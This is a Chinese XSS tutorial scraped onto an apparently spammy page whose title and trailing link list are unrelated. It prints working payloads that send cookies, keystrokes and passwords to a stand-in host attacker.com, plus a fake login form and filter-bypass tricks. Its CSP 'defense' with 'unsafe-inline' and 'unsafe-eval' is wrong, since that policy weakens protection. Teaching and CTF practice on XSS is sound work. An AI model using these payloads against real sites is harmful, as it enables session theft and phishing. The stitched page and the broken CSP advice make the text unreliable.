当前位置: 首页 > news >正文

模板网站一天建好新冠咳嗽怎么办

模板网站一天建好,新冠咳嗽怎么办,网站群 意义,百度宿迁市建设局网站文章目录 一、什么是XSS?二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS? XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本&#xff08…

文章目录

    • 一、什么是XSS?
    • 二、XSS分类与场景
    • 三、XSS攻击实战流程
    • 四、CTF中的XSS利用
    • 五、XSS防御方案
    • 六、绕过过滤的常见技巧
    • 七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
    • 影响范围:所有访问受影响页面的用户。
    • 示例
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
      
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
    • 触发条件:用户需点击构造的恶意链接。
    • 示例
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
      
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景:通过location.hashdocument.write等动态修改DOM。

    • 示例

      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
      

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    <script>alert(1)</script>
    
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
    
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>
    

步骤4:键盘记录

  • 监听用户输入并回传数据:

    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>
    

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
      
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      <img src=x onerror="alert(1)">
      
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
      

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
      
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
      
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      Set-Cookie: session=abc123; HttpOnly; Secure
      
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    <ScRiPt>alert(1)</sCriPt>
    
  2. 编码绕过

    • HTML实体编码:

      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
      
    • JavaScript Unicode编码:

      \u0061\u006c\u0065\u0072\u0074(1)
      
  3. 利用标签属性

    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">
    

七、实战练习资源

  1. PortSwigger XSS Labs
    • 地址:https://portswigger.net/web-security/cross-site-scripting
  2. XSS挑战游戏
    • XSS Game(Google):https://xss-game.appspot.com
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

http://www.fp688.cn/news/161407.html

相关文章:

  • 网站logo上传中国域名注册局官网
  • 安装wordpress中文包东莞营销网站建设优化
  • 班级网站建设规划书网页开发培训网
  • 如何做网站logo整合营销策略
  • 网站开发经济可行性网站运营方案
  • 自己怎么做商城网站池州网络推广
  • 宁夏建设网站上海网络推广外包
  • 网站做背景不显示小程序制作流程
  • 写完html wordpress刷关键词优化排名
  • 自己做港澳台照片回执网站动态网站建设
  • 中国建行app下载手机银行seo全称是什么
  • php动态网站开发项目模板关键词工具
  • 济宁网站建设 济宁智雅网络整合营销理论案例
  • 网站建设 大公司好站长号
  • 泉州网站制作推广百度做网站需要多少钱
  • 公司网站建设厂家怎么提升关键词的质量度
  • 软件免费开发网站建设全部视频支持代表手机浏览器
  • 长沙专业网站建设运营广告软文代理平台
  • 网站视频播放代码百度网首页官网登录
  • 用户浏览网站的方式手机百度下载免费安装
  • 最高人民法院建工解释一徐州seo招聘
  • 网站群建设优点小程序生成平台系统
  • 网页模版比较出名的网站安顺seo
  • 武汉做网站seo 优化一般包括哪些内容
  • 母婴会所 网站源码搜索引擎排名国内
  • 上海环球金融中心门票快速整站优化
  • jsp网站地图生成器排行榜网站
  • 哈尔滨做网站哪家好seo产品优化推广
  • 最新网站架构如何结合搜索检索与seo推广
  • 微店那样的网站怎么做推广策划方案范文